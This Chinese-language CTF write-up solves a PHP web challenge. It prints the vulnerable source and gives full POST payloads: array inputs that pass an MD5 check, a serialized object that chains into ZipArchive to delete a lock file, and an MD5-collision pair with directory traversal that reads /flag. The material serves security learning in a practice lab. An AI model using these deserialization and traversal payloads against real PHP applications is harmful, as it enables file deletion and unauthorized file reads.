题目链接:跳转提示

打开网址,可以直接看到网页链接:

<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {public $filename;public $content;public $me;function __wakeup(){$this->me = new Ctf();}function __destruct() {$this->me->open($this->filename,$this->content);}
}class Ctf {function __toString() {return "die";}function open($filename, $content){if(!file_get_contents("./sandbox/lock.lock")){echo file_get_contents(substr($_POST['b'],0,30));die();}else{file_put_contents("./sandbox/".md5($filename.time()),$content);die("or you can guess the final filename?"); }}
}if(!isset($_POST['a'])){highlight_file(__FILE__);die();
}else{if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){unserialize($_POST['c']);}}

代码分析,需要绕过两个判断条件,第一个需要a不等于b,但a与b的MD5一样,因为md5()函数无法处理数组,只要使a与b是两个不同的数组,md5(a)与md5(b)都返回0,则等号成立;

第二个判断条件,输入http://114.67.175.224:12378/sandbox/lock.lock,可以发现该文件存在,当./sandbox/lock.lock文件不存在时,就可以利用file_get_contents()输出/flag里的内容

要想办法删除文件,可以利用php内置类ZipArchive,这是一个专门用于文件压缩和解压缩的类,刚好他的open函数open(filename,8),会删除相应文件,其序列化内容:O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}

因此payload: a[]=[1]&b[]=[2]&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}(这里需要输入错误的Jesen属性数,以绕过wakeup函数)

输入网址查询http://114.67.175.224:12378/sandbox/lock.lock,发现文件不存在

利用fastcoll生成两个相同的MD5码的a和b,并保证b的前30字符是flag路径:
payload:

a=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FEv%CA%A8%12%C1W%8BA%26Y%81%98h%CF%09%BC%AF%C2%F7%F1%F8%D2%06%2Fvyv%2B%96.%B2%D8%EA%C6%EB%ECj%15%F9%0B%06OT%92%91T%FB%A4%C3V%29%E6%83%84%26J%D9O%81%D9%7F%06%EC%DB1%B7%84%E8%16%A5%09%90VC%F4W%98%D5%AD%88%F2.%A7%0D%C8%7C%EE%24e%21%27%CC%B7%DD%CDU%2F%7E%28%D3%95%A1%A5%CE%86%D9%29%8E%C0j%7F%F9%14%D8%9Fu%C9C%F3y%9BQ%F1%7C%1D%DD%AD&b=.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FEv%CA%A8%12%C1W%8BA%26Y%81%98h%CF%09%BC%AF%C2w%F1%F8%D2%06%2Fvyv%2B%96.%B2%D8%EA%C6%EB%ECj%15%F9%0B%06OT%92%11U%FB%A4%C3V%29%E6%83%84%26J%D9O%01%D9%7F%06%EC%DB1%B7%84%E8%16%A5%09%90VC%F4W%98%D5%AD%88%F2.%27%0D%C8%7C%EE%24e%21%27%CC%B7%DD%CDU%2F%7E%28%D3%95%A1%A5%CE%86%D9%29%8E%40j%7F%F9%14%D8%9Fu%C9C%F3y%9BQq%7C%1D%DD%AD&c=O:5:"Jesen":3:{s:8:"filename";N;s:7:"content";N;s:2:"me";N;}

得到结果

(不能直接复制生成的文章内容进行加密,因为编码不一样)

ctf-WEB-noteasytrick相关推荐

  1. ctf web必备工具_设计人员和开发人员的必备Web工具和服务

    ctf web必备工具 I cannot imagine that in 2018 there are people who don't use daily several web tools and ...

  2. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

  3. CTF Web方向考点总结

    CTF Web 0X00 前言 做题已经快四个月了,接触了大大小小的题型,收藏的大师傅们的解题思路.题型总结的博客已经很多了,每次都要一个一个翻很麻烦,于是写下了这一个总结,实际上是把各大博客内容汇总 ...

  4. CTF——web个人总结

    CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...

  5. CTF Web学习(三)----python脚本的编写及应用

    CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...

  6. 从0到1学习CTF WEB

    从0到1学习CTF WEB web前置技能 信息泄漏 密码口令 SQL注入 基础比较薄弱,准备逐题刷CTFHub的web类型题目顺便学习一下web方面的安全知识. web前置技能 1.请求方式: 隐藏 ...

  7. CTF——Web网站备份源码泄露

    CTF--Web网站备份源码泄露 当遇到提示说到备份时,应该敏感地想到这是需要用到网站备份文件源码的. 一般这类题是和代码审计一起出的,一般都是需要获取到备份文件然后进行分析.下面就介绍一下网站备份的 ...

  8. BugKu CTF Web

    BugKu CTF Web 滑稽 计算器 GET POST Simple_SSTI_1 矛盾 eval 变量1 Simple_SSTI_2 alert 你必须让他停下 方法一 方法二 方法三 网站被黑 ...

  9. CG CTF WEB SQL注入2

    http://4.chinalover.sinaapp.com/web6/index.php 题解: <html> <head> Secure Web Login II < ...

  10. CG CTF WEB SQL注入1

    http://chinalover.sinaapp.com/index.php 题解: <html> <head> Secure Web Login </head> ...

最新文章

  1. .NET项目开发的几个非常重要的项目设置
  2. javaScript 的小技巧
  3. java 判断日期是同一天_如何检查Java中的两个日期是否在同一天
  4. 【今晚七点半】:对话平行未来姜雨晴——重启熊猫直播背后的故事
  5. PowerBI 2019.12更新完美收官2019
  6. [功能发布]Excel催化剂地图可视化功能正式发布,欢迎使用!
  7. Springsecurity之AuthenticationProvider
  8. 背单词软件 单词风暴 分享id_周一考研高效背单词系列(一):利用单词软件如何背好单词...
  9. 牛客 牛牛爱喝酒(模拟)
  10. 5.3命名socket
  11. WebService—实现接口发布和客户端调用的几种方式
  12. jenkins连接Linux
  13. 张一鸣在字节跳动7周年庆典上的演讲
  14. 分享几个常用的国外英文论文文献数据库,先收藏再说
  15. 用MATLAB实现对运动物体识别与跟踪
  16. js邮箱+手机 格式校验
  17. 算法题/青蛙跳台阶问题
  18. K12在线教育平台的产品需求
  19. 李迟2022年6月工作生活总结
  20. 提供有效的绩效评估

热门文章

  1. 高度塌陷问题及解决方法
  2. 修改组策略就是修改注册表_如何查看组策略对象修改了哪些注册表设置
  3. 第二章 操作系统的硬件环境
  4. 科大讯飞解决 唤醒未初始化
  5. 互联网、因特网、万维网、局域网、广域网的区别
  6. install ubuntu source code
  7. 推荐英语学习之奥巴马演讲视频
  8. 微信小程序的基础标签及使用(入门)
  9. yolov7训练BDD100k自动驾驶环境感知2D框检测模型
  10. Windows内核安全与驱动开发